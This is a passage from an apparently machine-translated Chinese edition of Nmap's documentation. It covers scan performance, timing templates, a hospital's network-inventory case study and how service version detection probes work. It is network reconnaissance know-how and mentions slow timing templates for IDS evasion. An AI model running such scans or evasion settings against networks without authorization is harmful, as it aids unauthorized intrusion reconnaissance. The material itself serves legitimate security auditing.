) 运行它。然后 Nmap 将报告发送和接收的字节数及其执行时间,如示例 6.1所示。
#nmap -v -n -p- sec.titan.net
启动 Nmap ( http://nmap.org )
【10行剪裁】
192.168.0.8 的 Nmap 扫描报告
未显示:65534 个关闭的端口
港口国服务
22/tcp 打开 ssh
MAC 地址:00:1A:6B:C1:33:37 (USI)
Nmap 完成:在 2.20 秒内扫描了 1 个 IP 地址(1 个主机启动)
发送的原始数据包:65536 (2.884MB) | 接收:65536 (2.621MB)
将字节值乘以 8 并除以执行时间,得到平均带宽使用量(以比特/秒为单位)。在 示例 6.1中,Nmap 在 2.20 秒内收到 2,621,000 字节(Nmap 认为 1,000,000 字节为 MB)。因此接收流量约为 9.5 Mbps(发送速率为 10.5 Mbps)。因此 100 Mbps 以太网链路不太可能限制 Nmap,升级到千兆以太网也无济于事。
一些消费宽带设备和其他设备难以处理 Nmap 发送的数据包速率,即使小数据包大小(通常 Nmap 发送空标头)使带宽保持在较低水平。在示例 6.1,“本地 100 Mbps 以太网网络上的带宽使用情况”中,Nmap 每秒发送大约 30,000 个数据包并接收到类似的数量。如此高的数据包速率可能会导致低质量设备出现问题。在这种情况下,我们看到发送和接收数据包计数均为 65,536,这是扫描端口的数量 (65,535) 加上初始 ARP ping 探测的数量。因此 Nmap 没有遇到任何需要重新传输的数据包丢失。这再次表明网络设备不是限制因素——Nmap 可能受 CPU 限制。
长扫描的应对策略
虽然优化扫描选项以加快扫描速度可能会让您走很长一段路,但在保持准确性和公平对待竞争网络流的同时,Nmap 的运行速度是有限的。即使在优化之后,涉及数千台主机、所有 65K 端口、UDP 或版本检测的大型扫描也可能需要一段时间。本节提供了应对这些长扫描的强大策略。
使用多阶段方法
全面的安全审计将需要包括对每个协议的所有 65,536 个端口的 UDP 和 TCP 扫描,通常-Pn
以防万一机器启动但被严重过滤。然而,这些端口号中只有不到 100 个是常用的,并且大多数主机都可以通过适度的主机发现选项做出响应。因此,请指定-F
首先在已知在线主机上执行快速扫描流行端口。这使您可以在开始-Pn
对所有 TCP 和 UDP 端口进行大规模扫描时分析在线主机和大多数开放端口,并在后台进行版本和操作系统检测。用于加快快速扫描的捷径选项在名为“省略非关键测试”的部分中进行了讨论。完成慢速扫描后,将其与之前的结果进行比较以查找任何新发现的主机或端口。
估计和计划扫描时间
在许多情况下,长扫描最令人沮丧的方面是不知道何时完成。Nmap 现在比以前更有帮助,只要-v
启用详细模式 ( ),它就会提供定期扫描时间估计。
示例 6.2向我们展示了 SYN 扫描可能需要 10 小时 18 分钟(23:27 到 9:45)才能扫描 29 台主机。因此,Nmap 将花费在扫描网络上的总时间可以通过将每台主机 21 分钟乘以在线主机数量来粗略推断。如果还进行了版本检测或 UDP,您还必须注意这些的时间估计。
另一种选择是等到 Nmap 完全完成对第一组主机的扫描。然后将该集合的大小推断为整个目标网络的大小所花费的时间。这更简单,因为您无需担心单个扫描组件。基于完成的目标 IP 地址数量与目标 IP 空间大小的估计可能会产生误导,因为在线主机很少均匀分布在该 IP 空间中。它们通常成簇出现,通常位于 IP 空间的开头附近。因此,如果扫描本身包括主机发现(即没有 -Pn
选项),更准确的措施是先 ping 扫描整个网络,然后根据 Nmap 已完成扫描的在线主机数量与 ping 扫描在线发现的数量来估算.
虽然偶尔的估计会在详细模式下自动打印,但您始终可以通过按下来请求当前估计<enter>
(参见“运行时交互”一节)。如果估计在您的时间范围内,您可以在它进行时安排其他事情。这胜过检查 Nmap 是否每 20 分钟完成一次。显示 Nmap 不会按时完成的估计更有价值。您可以立即着手优化扫描或延长参与度。如果您仅在截止日期过后确定扫描太慢并且 Nmap 仍在运行,则您的选择会受到更多限制。
端口选择数据和策略
端口扫描可能是 Nmap 扫描中最耗时的部分,即使扫描包括版本检测或 NSE 脚本也是如此。端口扫描时间大致与扫描的端口数量成正比,因此减少端口数量可显着提升性能。不利的一面是减少的扫描不太全面,因此您可能会错过打开的端口。
现实情况是,每个协议中有 65,536 个端口,其中大部分几乎从未开放。我花了一个夏天进行大规模扫描以确定每个 TCP 和 UDP 端口的流行程度。结果包括扫描数以千万计的互联网 IP 地址以及从内部扫描的企业网络的数据。本节提供了您可以依赖的经验结果,以在扫描速度和有效性之间取得适当的平衡。
虽然存在超过十万个(总计)TCP 和 UDP 端口,但绝大多数开放端口都属于一个小得多的集合。根据我们的研究,前 10 个 TCP 端口和前 1,075 个 UDP 端口占其协议开放端口的一半。要捕获 90% 的开放端口,您需要扫描 576 个 TCP 端口和 11,307 个 UDP 端口。默认情况下,Nmap 会为每个请求的扫描协议扫描前 1000 个端口。这捕获了大约 93% 的 TCP 端口和 49% 的 UDP 端口。随着 -F
(fast) 选项,仅扫描前 100 个端口,提供 78% 的 TCP 效率和 39% 的 UDP。要指定不同数量的端口,请将该值指定给--top-ports
选项。 表 6.1 提供了为达到该协议的给定效率而必须扫描的 TCP 或 UDP 端口的近似值。
--top-ports
的值效力 | 需要 TCP 端口 | 需要 UDP 端口 |
---|---|---|
10% | 1 | 5 |
20% | 2 | 12 |
30% | 4 | 27 |
40% | 6 | 135 |
50% | 10 | 1,075 |
60% | 18 | 2,618 |
70% | 44 | 5,157 |
80% | 122 | 7,981 |
85% | 236 | 9,623 |
90% | 576 | 11,307 |
95% | 1,558 | 13,035 |
99% | 3,328 | 15,094 |
100% | 65,536 | 65,536 |
虽然 Nmap 可以自动为您处理端口选择(当您依赖默认值或使用诸如-F
or之类的选项时--top-ports
),但显式指定端口-p
通常很有用。无论哪种情况,熟悉最常见的开放端口都很重要。根据我们的数据,排名靠前的端口在 “什么是最受欢迎的端口?”一节中进行了描述。.
低级时序控制
Nmap 提供了许多用于控制扫描速度的细粒度选项。大多数人使用这些选项来加速 Nmap,但它们也可以用于减慢 Nmap。人们这样做是为了规避 IDS 系统,减少网络负载,甚至在网络条件如此糟糕以至于 Nmap 的保守默认设置过于激进的情况下提高准确性。
表 6.2 按功能列出了每个低级时序控制选项。有关每个选项的详细使用信息,请阅读名为“时序和性能”的部分。假设读者已经熟悉 “扫描代码和算法”一节中描述的 Nmap 扫描算法。
功能 | 选项 |
---|---|
主机组(同时扫描的主机批次)大小 | --min-hostgroup ,--max-hostgroup |
并行启动的探针数 | --min-parallelism ,--max-parallelism |
探测超时值 | --min-rtt-timeout , --max-rtt-timeout , --initial-rtt-timeout |
允许的最大探测重传次数 | --max-retries |
放弃整个主机之前的最长时间 | --host-timeout |
在针对单个主机的每个探针之间插入控制延迟 | --scan-delay ,--max-scan-delay |
每秒发送探测包的速率 | --min-rate ,--max-rate |
击败目标主机的RST数据包响应率 | --defeat-rst-ratelimit |
时序模板 ( -T
)
虽然上一节中讨论的细粒度时序控制功能强大且有效,但有些人会感到困惑。此外,选择适当的值有时会比您尝试优化的扫描花费更多时间。所以 Nmap 提供了一种更简单的方法,有六个时序模板。您可以使用 -T
选项及其编号 (0–5) 或名称来指定它们。模板名称为 paranoid
( 0
), sneaky
(1
), polite
(2
), normal
(3
), aggressive
( 4
) 和 insane
(5
). 前两个用于 IDS 规避。 礼貌模式会减慢扫描速度以使用更少的带宽和目标机器资源。正常模式是默认模式,因此 -T3
什么也不做。积极模式通过假设您在一个相当快速和可靠的网络上来加快扫描速度。最后,疯狂模式假设您在一个非常快的网络上,或者愿意牺牲一些准确性来换取速度。
这些模板允许用户指定他们希望的积极程度,同时让 Nmap 选择准确的时序值。模板还对当前不存在细粒度控制选项的一些小的速度调整。例如, -T4
禁止 TCP 端口的动态扫描延迟超过 10 毫秒,并将-T5
该值限制为 5 毫秒。模板可以与细粒度控件结合使用,并且细粒度选项将覆盖这些特定值的通用时序模板。我建议-T4
在扫描相当现代且可靠的网络时使用。即使您添加了细粒度的控件,也请保留该选项(在命令行的开头),以便您从它启用的那些额外的小优化中受益。
表 6.3显示了每个-T
值的时序变量如何变化。所有时间值都以毫秒为单位。
T0 | T1 | T2 | T3 | T4 | T5 | |
---|---|---|---|---|---|---|
Name | 偏执狂 | 鬼鬼祟祟的 | 有礼貌的 | 普通的 | 挑衅的 | 疯狂的 |
min-rtt-timeout |
100 | 100 | 100 | 100 | 100 | 50 |
max-rtt-timeout |
300,000 | 15,000 | 10,000 | 10,000 | 1,250 | 300 |
initial-rtt-timeout |
300,000 | 15,000 | 1,000 | 1,000 | 500 | 250 |
max-retries |
10 | 10 | 10 | 10 | 6 | 2 |
初始(和最小)扫描延迟 ( --scan-delay ) |
300,000 | 15,000 | 400 | 0 | 0 | 0 |
最大 TCP 扫描延迟 | 300,000 | 15,000 | 1,000 | 1,000 | 10 | 5 |
最大 UDP 扫描延迟 | 300,000 | 15,000 | 1,000 | 1,000 | 1,000 | 1,000 |
host-timeout |
0 | 0 | 0 | 0 | 0 | 900,000 |
min-parallelism |
动态的,不受时序模板的影响 | |||||
max-parallelism |
1 | 1 | 1 | 动态的 | 动态的 | 动态的 |
min-hostgroup |
动态的,不受时序模板的影响 | |||||
max-hostgroup |
动态的,不受时序模板的影响 | |||||
min-rate |
没有最低速率限制 | |||||
max-rate |
没有最大速率限制 | |||||
defeat-rst-ratelimit |
默认不启用 |
如果您使用良好的宽带或以太网连接,我建议您始终使用 -T4
. 有些人爱 -T5
虽然它对我的口味来说太激进了。人们有时会指定 -T2
因为他们认为主机崩溃的可能性较小,或者因为他们认为自己总体上很有礼貌。他们通常没有意识到-T polite
真正的慢。它们的扫描时间可能是默认扫描的十倍。默认计时选项很少出现机器崩溃和带宽问题 ( -T3
) 所以我通常建议谨慎的扫描仪使用它。省略版本检测比使用时间值来减少这些问题要有效得多。
尽管 -T0
和-T1
可能对避免 IDS 警报很有用,它们将花费非常长的时间来扫描数千台机器或端口。对于如此长的扫描,您可能更愿意设置您需要的确切时间值,而不是依赖于罐头-T0
和-T1
值。
这个故事是由梅奥诊所的 Jack L. Mogren 提交的。 它作为一个教程,展示了他实施常规 Nmap 扫描机制并将这个庞大网络的扫描时间从一周减少到 46 小时所采取的步骤。
Mayo Clinic 建立了一个相对较大的专用网络,其中 ARP 表显示超过 70,000 个 IP 地址在使用中。我们的网络管理过去专注于在全国三个主要校区和数十个卫星上创建和维护物理架构。我们的座右铭是“你需要它吗?我们将建造它”。几乎没有考虑实际连接到网络的内容。网络管理方便地在数据插孔处结束,并遭受了糖果棒综合症的困扰。从外面看它又脆又安全,但里面又软又耐嚼。我们有很好的边界保护,但内部控制很少。
这种态度在 2003 年 1 月突然改变,当时 Slammer 蠕虫 (W32.SQLExp) 及其变种侵入了我们的环境。突然间,知道什么连接到我们的网络变得非常重要。对于 Slammer,我们需要知道运行 MS SQL Server 2000 或 MSDE 2000 的所有设备的位置以及管理员是谁。由于缺乏这些信息,根除 Slammer 的努力持续了几个月。
因此诞生了“知道网络上发生了什么”的努力。这听起来很简单,但考虑到规模、复杂性和网络历史,这是向前迈出的重要一步,也是我们网络管理服务的新方向。
Nmap 已被证明是这项工作中的一个有价值的工具。你无法击败价格,我很欣赏开源的优势 社区带来了它的发展。尤其是操作系统指纹识别和最终用户提供的许多贡献。
我开始尝试使用 Nmap。-O
我的目标是通过使用 Nmap选项通过 TCP/IP 指纹识别快速执行远程主机识别来创建有意义的网络清单。
让我先谈谈我们的 IP 环境和我的扫描平台。我们目前拥有一个 B 类和 44 个 C 类范围,并使用了大部分私有地址空间。总共有 676,352 个可能的 IP 地址。我从运行 Red Hat Linux 8.0 的 Compaq DL380 执行扫描。我的第一次尝试是这个带有操作系统检测的普通 TCP SYN 扫描 ( -O
) 和仅用于主机发现的 ICMP 回显请求 ( -PE
):
#nmap -O -PE -v -oX mayo.xml -iL ip_networks.txt
不幸的是,这进展如此缓慢,以至于扫描我们的整个网络需要一周的时间。鉴于我们网络的所有重要部分都至少通过一条 T1 线路 (1.54 Mbps) 连接,我添加了insane
固定时间策略 ( -T5
)。我还添加了快速扫描模式 ( -F
),它将扫描的端口数量从大约 1600 减少到 1200 [11]。我还补充--osscan-limit
说,Nmap 不会浪费时间操作系统扫描没有打开端口的主机。这导致了以下命令:
#nmap -O -T5 -PE -F --osscan-limit -v -oX mayo.xml -iL ip_networks.txt
不幸的是,这看起来还需要几天时间。所以我编辑了nmap-services
文件,将端口数量减少到 270 个。然后扫描在 49 多小时内完成,发现了 66,558 个设备。调整时间变量,删除详细选项,并将输出重定向以/dev/null
将时间减少到 46 小时。这给我留下了最后的命令:
#nmap -O -T5 -PE -F --osscan-limit --max-rtt-timeout 100ms \
--max-parallelism 100 --min-hostgroup 100 -oX mayo.xml \
-iL ip_networks.txt
我计划每周执行一次此扫描,并将 XML 格式的输出提供给 MS SQL 数据库。我们的其他扫描方法已经输入到这个数据库中,我们能够创建报告,帮助我们实现了解网络上的内容的最初目标。我可能决定通过在多个系统上运行扫描子集来分配负载。
7.服务和应用程序版本检测
介绍
用法和示例
技术描述
作弊和回退
探针选择和稀有度 Probe Selection and Rarity
技术展示
后期处理器
Nmap 脚本引擎集成
RPC 打磨 RPC Grinding
SSL 后期处理器说明
nmap-service-probes文件格式
Exclude指令
Probe指令
match指令
softmatch指令
ports和sslports指令
totalwaitms指令
tcpwrappedms指令
rarity指令
fallback指令
总览
社区贡献
提交服务指纹
提交数据库更正
提交新探针
解决方案:查找所有运行不安全或非标准应用程序版本的服务器
问题
解决
讨论
解决方案:处理版本检测以满足自定义需求,例如开放代理检测
问题
解决
讨论
介绍
重复略。。。
用法和示例
在深入研究如何实现版本检测的技术细节之前,这里有一些示例来展示它的用法和功能。要启用版本检测,只需在您通常使用的任何Nmap标志中加上-sV。或者使用-A选项,它可以打开版本检测和其他高级和激进的功能。真的就这么简单,如例7.2所示。
# nmap -A -T4 -F www.microsoft.com
Starting Nmap ( http://nmap.org )
Nmap scan report for 80.67.68.30
(The 1208 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
22/tcp open ssh Akamai-I SSH (protocol 1.5)
80/tcp open http AkamaiGHost (Akamai's HTTP Acceleration service)
443/tcp open ssl/http AkamaiGHost (Akamai's HTTP Acceleration service)
Device type: general purpose
Running: Linux 2.1.X|2.2.X
OS details: Linux 2.1.19 - 2.2.25
Nmap finished: 1 IP address (1 host up) scanned in 19.223 seconds
前面的扫描展示了几件事。首先,很高兴看到 www.Microsoft.Com 在 Akamai 的 Linux 机器上提供服务。(译者注:这里应该是笑微软)与本章更相关的是,端口 443 列出的服务是ssl/http
. 这意味着服务检测首先发现端口是 SSL,然后加载 OpenSSL 并 通过 SSL 连接再次执行服务检测,以发现在加密背后运行 AkamiGHost 的 Web 服务器。回顾一下,-T4
会导致 Nmap 运行得更快(更激进的计时),-F告诉Nmap只扫描在nmap-services中注册的端口。(译者注:这里的-F应该是说旧版nmap,新版指的是在nmap-services中注册的前100个端口)
例 7.3是一个更长、更多样化的例子。
# nmap -A -T4 localhost
Starting Nmap ( http://nmap.org )
Nmap scan report for felix (127.0.0.1)
(The 1640 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
21/tcp open ftp WU-FTPD wu-2.6.1-20
22/tcp open ssh OpenSSH 3.1p1 (protocol 1.99)
53/tcp open domain ISC BIND 9.2.1
79/tcp open finger Linux fingerd
111/tcp open rpcbind 2 (rpc #100000)
443/tcp open ssl/http Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
515/tcp open printer
631/tcp open ipp CUPS 1.1
953/tcp open rndc?
5000/tcp open ssl/ftp WU-FTPD wu-2.6.1-20
5001/tcp open ssl/ssh OpenSSH 3.1p1 (protocol 1.99)
5002/tcp open ssl/domain ISC BIND 9.2.1
5003/tcp open ssl/finger Linux fingerd
6000/tcp open X11 (access denied)
8000/tcp open http-proxy Junkbuster webproxy
8080/tcp open http Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
8081/tcp open http Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20
Nmap finished: 1 IP address (1 host up) scanned in 42.494 seconds
您可以在这里看到 RPC 服务的处理方式,使用暴力 RPC 扫描程序 用于判断111端口是rpcbind 版本 2。您可能还注意到端口 515 将服务作为 printer
,但该版本字段为空。Nmap 通过探测确定了服务名称,但无法确定其他任何内容。另一方面,端口 953 提供服务为“ rndc?
”。问号告诉我们,Nmap无法通过探测确定服务名称。作为后备,提到了 rndc,因为它在nmap-services中注册了953端口。 不幸的是,Nmap 的所有探测都没有引起 rndc 的任何响应。如果有,Nmap 会打印服务指纹和提交 URL,以便在下一个版本中识别。事实上,Nmap 需要一个特殊的探针。在您阅读本文时,甚至可能有一个可用的探针。 名为“社区贡献”的部分提供了有关编写自己的探针的详细信息。
还值得注意的是,一些服务提供了更多 信息不仅仅是版本号。上面的示例包括 X11 是否允许连接、SSH 协议号和 Apache模块版本列表。一些 Apache模块甚至不得不从输出中删除以适应这个页面。
一些早期的评论者质疑运行 SSH 和 finger over SSL 等服务的合理性。这实际上只是 stunnel 的一个有趣之处,部分原因是为了确保并行 SSL 扫描能够正常工作。
技术描述
Nmap的版本扫描实际上是相当直接的。它被设计成尽可能简单,同时仍然是可扩展的、快速的和准确的。真正详细细节最好通过下载和查看源代码来发现,下面是所用技术的概要。
Nmap首先按照您的指示进行端口扫描,然后把所有打开或打开|过滤的TCP和/或UDP端口传给服务扫描模块。然后这些端口被并发地询问,为了简单起见这里只描述一个端口。
-
排除。Nmap检查该端口是否是要排除的端口之一,如nmap-service-probes中的Exclude指令所指定。如果是,Nmap不会扫描这个端口,原因在 "nmap-service-probes文件格式 "一节提到。
-
默认tcp open。如果端口是 TCP,Nmap 首先连接它。如果连接成功并且端口一直处于
open|filtered
状态,则将其更改为open
。这很少见(对于 TCP),因为人们试图保持隐蔽,所以他们使用TCP扫描类型产生开放的|过滤端口(如FIN扫描)通常比通过执行版本检测来破坏所有的隐蔽性要好,但这是非常罕见的(对于TCP)。 -
banner与签名。一旦TCP连接被建立,Nmap会监听大约5秒钟。许多常见的服务,包括大多数FTP、SSH、SMTP、Telnet、POP3和IMAP服务器,在最初的欢迎banner中识别自己。Nmap把这称为 "NULL探针",因为Nmap只是监听响应而不发送任何探针数据。如果收到任何数据,Nmap把它和它的nmap-service-probes文件(在 "nmap-service-probes文件格式 "一节中描述)中的大约3000个NULL探针签名相比较。如果该服务被完全识别,我们就完成了对该端口的处理! 签名中的正则表达式可以包括子串匹配来从响应中挑选版本号。在某些情况下,Nmap在服务类型上得到一个 "软匹配",但没有版本信息。在这种情况下,Nmap继续但只发送已知能识别软匹配的服务类型的探针。
-
可能探针的匹配可能端口探测。如果上述的NULL探针失败或软匹配,Nmap开启UDP探针和TCP连接继续。由于现实是大多数端口被它们在nmap-services中注册的服务所使用,每个探针都有一个被认为是最有效的端口号的列表。例如,称为GetRequest的探针识别web服务器(在许多其他服务中),在它可能的端口中列出80-85、8000-8010和8080-8085。Nmap按顺序(按照它们在文件中出现的顺序)执行与被扫描的端口号匹配的探针。
每个探针包括一个探针字符串(可以是任意的ASCII文本或\xHH转义二进制),它被发送到端口。返回的响应将与上面NULL探针描述中讨论的相同类型的签名正则表达式列表进行比较。与NULL探针一样,这些测试的结果可以是完全匹配(结束对远程服务的处理),也可以是软匹配(将未来的探针限制在与某个服务相匹配的范围内),或者根本不匹配。Nmap用来测试匹配的正则表达式的确切列表取决于探针回退配置。例如,从X11Probe返回的数据非常不可能匹配为GetRequest探针制作的任何正则表达式。另一方面,从RTSPRequest等探针返回的结果很可能与为GetRequest制作的正则表达式相匹配,因为被测试的两个协议密切相关。所以RTSPRequest探针有一个回退到GetRequest的匹配。如需更全面的解释,请参阅 "秘籍和回退 "一节。
如果在版本检测过程中收到来自UDP端口的任何响应,而该端口处于开放或过滤状态,则该状态将被改变为开放。这使得版本检测成为UDP扫描的一个很好的补充,当一些常见的防火墙规则生效时,UDP扫描被迫将所有扫描的UDP端口标记为开放|过滤。虽然将UDP扫描与版本检测结合起来所需时间是普通UDP扫描的许多倍,但这是一种有效和有用的技术。这个方法将在 "区分开放和过滤的UDP端口 "一节中描述。
-
遍历所有探针。在大多数情况下,上述的NULL探针或可能的端口探针(通常只有一个)与服务相匹配。由于NULL探针与可能的端口探针共享其连接,这使得在大多数情况下只需一个简短的连接就可以完成服务检测。对于UDP,通常只需要一个数据包。但是如果NULL探针和可能的端口探针失败,Nmap 会依次遍历其他现有探针。在TCP的情况下,Nmap必须为每个探针建立一个新的连接以避免以前的探针破坏结果。最坏的情况可能需要一点时间,特别是由于网络连接慢和其他服务响应慢,Nmap必须等待每个探针的结果大约5秒钟。幸运的是,Nmap利用几种自动技术来加快扫描速度:
-
Nmap 使大多数探针足够通用以匹配许多服务。例如,GenericLines 探针向服务发送两个空行 ( “
\r\n\r\n
” )。这匹配许多不同服务类型的守护进程,包括 FTP、ident、POP3、UUCP、Postgres 和 whois。GetRequest 探针匹配更多的服务类型。其他示例包括“help\r\n
”以及通用 RPC 和 MS SMB 探针。 -
如果一个服务匹配一个软匹配指令,Nmap只需要尝试有可能匹配该服务的探针。
-
所有的探针都是不一样的! 有的比其他的匹配更多的服务。正因为如此,Nmap使用稀有度量来避免尝试那些极不可能匹配的探针结果。有经验的Nmap用户可以通过使用 "探针选择和稀有度 "一节中讨论的
--version-intensity
,--version-all
, 和--version-light
选项,强迫所有探针都被尝试,或者比默认值更进一步限制探针尝试。
-
-
ssl探针。其中一个探针测试目标端口是否正在运行 SSL。 如果是(并且如果 OpenSSL 可用),Nmap 通过 SSL 连接回来并重新启动服务扫描以确定加密背后的监听对象。一个特殊指令允许正常连接和 SSL 隧道连接使用不同的可能端口 。例如,Nmap应该用一个SSL探针针对443端口(HTTPS)开始。并且在SSL被检测到并启用后,Nmap应该对443端口尝试GetRequest探针,因为该端口通常有一个Web服务器在SSL加密后监听。
-
rpc探针。另一个通用探针识别基于RPC的服务。当发现这些服务时,Nmap RPC研磨器(稍后讨论)被启动以强行获取RPC程序号/名称和支持的版本号。类似地,一个用于指纹识别Windows服务的SMB后处理器是作为第9章Nmap脚本引擎的一部分提供的。
-
无法识别的响应。如果至少有一个探针引发了某种响应,但 Nmap 无法识别该服务,则响应内容以 指纹的形式打印给用户。如果用户知道哪些服务实际上正在侦听,则鼓励他们将指纹提交给 Nmap 开发人员以便集成到 Nmap 中,如“提交服务指纹”部分所述。
作弊和回退
尽管 Nmap 等待服务响应的时间很长,但有时应用程序响应 NULL 探测的速度很慢。发生这种情况的原因有很多,包括某些服务执行缓慢的反向 DNS 查找。因此,Nmap 有时可以将后续探针的结果与为 NULL 探测设计的匹配线做匹配。
例如,假设我们扫描服务器上的端口 25 (SMTP) 以确定正在侦听的内容。一旦我们连接,该服务可能会进行一堆 DNS 黑名单查找,以确定我们是否应该被视为垃圾邮件发送者并拒绝服务。在完成之前,Nmap 放弃等待 NULL 探针响应,并发送下一个注册了端口 25 的探针,即“ HELP\r\n
”。当服务最终完成它的反垃圾邮件检查时,它会打印一个问候横幅banner,读取帮助探针,并做出响应,如示例 7.4所示。(译者注:这里本应该是发送null探针等待响应,但是为了加速我们假设它是smtp,直接不等就发送help探针,针对响应做匹配)
220 hcsw.org ESMTP Sendmail 8.12.3/8.12.3/Debian-7.1; Tue, [cut] 214-2.0.0 This is sendmail version 8.12.3 214-2.0.0 Topics: 214-2.0.0 HELO EHLO MAIL RCPT DATA 214-2.0.0 RSET NOOP QUIT HELP VRFY 214-2.0.0 EXPN VERB ETRN DSN AUTH 214-2.0.0 STARTTLS 214-2.0.0 For more info use "HELP <topic>". 214-2.0.0 To report bugs in the implementation send email to 214-2.0.0 sendmail-bugs@sendmail.org. 214-2.0.0 For local information send email to Postmaster at your site. 214 2.0.0 End of HELP info
Nmap从套接字中读取这个数据,发现Help探针中没有正则表达式匹配返回的数据。这是因为Nmap通常期望在NULL探针时收到ESMTP横幅并在那里匹配它。
因为这是一个比较常见的情况,Nmap "作弊",如果没有一个特定的探针行匹配,就试图匹配任何一个NULL 探针匹配行的响应。在这种情况下,存在一个NULL 探针匹配行,它报告了程序是Sendmail,版本是8.12.3/8.12.3/Debian-7.1,而主机名是hcsw.org。
NULL 探针作弊实际上只是更一般的 Nmap 功能的一个具体示例:回退。fallback 指令在 “nmap-service-probes
文件格式”一节中有详细描述。本质上,任何可能遇到可以被其他探针中的正则表达式匹配的结果的探针都有一个这些其他探针指定的回退指令。
例如,在流行的Apache web服务器的一些配置中,Apache不会响应GetRequest ("GET / HTTP/1.0\r/n\r/n")探针,因为没有指定虚拟主机名。(译者注:在http头中还应该包含host字段描述一个虚拟主机此时才有响应)Nmap仍然能够正确识别这些服务器,因为这些服务器通常响应HTTPOptions探针。那个探测有一个GetRequest正则表达式的回退,它足以识别Apache对HTTPOptions探针的响应。
探针选择和稀有度
在决定使用什么探针时,Nmap考虑它们的稀有性。这表明探针返回有用数据的可能性有多大。如果一个探针的稀有度高,它就被认为不常见,不太可能被试用。Nmap用户可以通过改变版本扫描的强度水平来指定哪些探针被试用,如下所述。Nmap在决定使用哪些探针时使用的精确算法如下。
-
对于 TCP,始终首先尝试 NULL 探针。
-
所有将被扫描的端口列为可能的端口的探针(见 "nmap-service-probes文件格式 "一节),将按照它们在nmap-service-probes中出现的顺序进行尝试。
-
所有其他稀有值小于或等于当前扫描强度值的探针都被尝试,也是按照它们在nmap-service-probes中出现的顺序。
一旦发现探针匹配,算法就会终止并报告结果。
因为所有 Nmap 的探针(除了 NULL 探针)都有一个与它们相关的稀有度值,所以在执行版本扫描时控制尝试了多少是相对容易的。只需选择适合扫描的强度级别。强度级别越高,将尝试的探针越多。因此,如果希望进行非常全面的扫描,高强度等级是合适的,尽管它可能比在低强度等级下进行的扫描花费更多时间。Nmap的默认强度级别是7,但是Nmap为不同的扫描需要提供以下开关。
技术展示
如果上面的英文描述不够清楚没关系,您可以通过在您的Nmap命令行中添加 --version-trace
(通常还有-d(调试))选项来自己看它是怎么工作的。这显示服务扫描的所有连接和数据读/写活动。下面是一个有注释的真实世界的例子。
#nmap -sSV -T4 -F -d --version-trace insecure.org
Starting Nmap ( http://nmap.org ) Host insecure.org (205.217.153.53) appears to be up ... good. Initiating SYN Stealth Scan against insecure.org (205.217.153.53) at 19:53 Initiating service scan against 4 services on 1 host at 19:53
SYN 扫描发现了 4 个开放端口——现在我们开始对每个端口进行并发服务扫描。我们从 NULL 探针的 TCP 连接开始:
Starting probes against new service: 205.217.153.53:22 (tcp) NSOCK (2.0750s) TCP connection requested to 205.217.153.53:22 (IOD #1) EID 8 Starting probes against new service: 205.217.153.53:25 (tcp) NSOCK (2.0770s) TCP connection requested to 205.217.153.53:25 (IOD #2) EID 16 Starting probes against new service: 205.217.153.53:53 (tcp) NSOCK (2.0830s) TCP connection requested to 205.217.153.53:53 (IOD #3) EID 24 Starting probes against new service: 205.217.153.53:80 (tcp) NSOCK (2.0860s) TCP connection requested to 205.217.153.53:80 (IOD #4) EID 32 NSOCK (2.0870s) Callback: CONNECT SUCCESS for EID 32 [205.217.153.53:80] NSOCK (2.0870s) Read request from IOD #4 [205.217.153.53:80] (timeout: 5000ms) EID 42 NSOCK (2.0870s) Callback: CONNECT SUCCESS for EID 24 [205.217.153.53:53] NSOCK (2.0870s) Read request from IOD #3 [205.217.153.53:53] (timeout: 5000ms) EID 50 NSOCK (2.0870s) Callback: CONNECT SUCCESS for EID 16 [205.217.153.53:25] NSOCK (2.0870s) Read request from IOD #2 [205.217.153.53:25] (timeout: 5000ms) EID 58 NSOCK (2.0870s) Callback: CONNECT SUCCESS for EID 8 [205.217.153.53:22] NSOCK (2.0870s) Read request from IOD #1 [205.217.153.53:22] (timeout: 5000ms) EID 66
至此,NULL 探针连接已成功连接到所有四个服务。它从 第2 秒开始,因为这是 ping 和 SYN 扫描所用的时间。
22端口,完全匹配
NSOCK (2.0880s) Callback: READ SUCCESS for EID 66 [205.217.153.53:22] (23 bytes): SSH-1.99-OpenSSH_3.1p1. Service scan match: 205.217.153.53:22 is ssh. Version: |OpenSSH|3.1p1|protocol 1.99|
SSH 非常好,可以在连接后立即完全识别为 OpenSSH 3.1p1,直接完事。一端口完成还有三个。
25端口,软匹配,之后匹配25端口和smtp服务的探针进一步探测
NSOCK (2.0880s) Callback: READ SUCCESS for EID 58 [205.217.153.53:25] (27 bytes): 220 core.lnxnet.net ESMTP.. Service scan soft match: 205.217.153.53:25 is smtp
25端口的邮件服务器也给了我们一个有用的标语。我们不知道它是什么类型的邮件服务器,但以220开头并包括ESMTP这个词告诉我们它是一个邮件(SMTP)服务器。所以Nmap软匹配smtp,意味着从现在开始只尝试能够匹配SMTP服务器的探针。注意,不可打印的字符用点来表示,所以ESMTP后面的"... "实际上是"\r\n "行终止序列。
NSOCK (2.0880s) Read request from IOD #2 [205.217.153.53:25] (timeout: 4996ms) EID 74 NSOCK (7.0880s) Callback: READ TIMEOUT for EID 74 [205.217.153.53:25] NSOCK (7.0880s) Write request for 6 bytes to IOD #2 EID 83 [205.217.153.53:25]: HELP.. NSOCK (7.0880s) Read request from IOD #2 [205.217.153.53:25] (timeout: 5000ms) EID 90
Nmap 在 SMTP 连接上监听的时间稍长一些,以防服务器有更多话要说。读取请求在五秒后超时。然后Nmap找到下一个探针,它注册到25号端口并且有SMTP签名。这个探针只是由HELP\r\n组成,Nmap把它写入连接中。
53端口,没有匹配,之后匹配53的探针进行探测
NSOCK (7.0880s) Callback: READ TIMEOUT for EID 50 [205.217.153.53:53] NSOCK (7.0880s) Write request for 32 bytes to IOD #3 EID 99 [205.217.153.53:53]: ...............version.bind..... NSOCK (7.0880s) Read request from IOD #3 [205.217.153.53:53] (timeout: 5000ms) EID 106
53端口的DNS服务器根本没有返回任何东西。在nmap-service-probes中注册到53端口的第一个探针是DNSVersionBindReq,它询问DNS服务器的版本号。这被发送到线上。
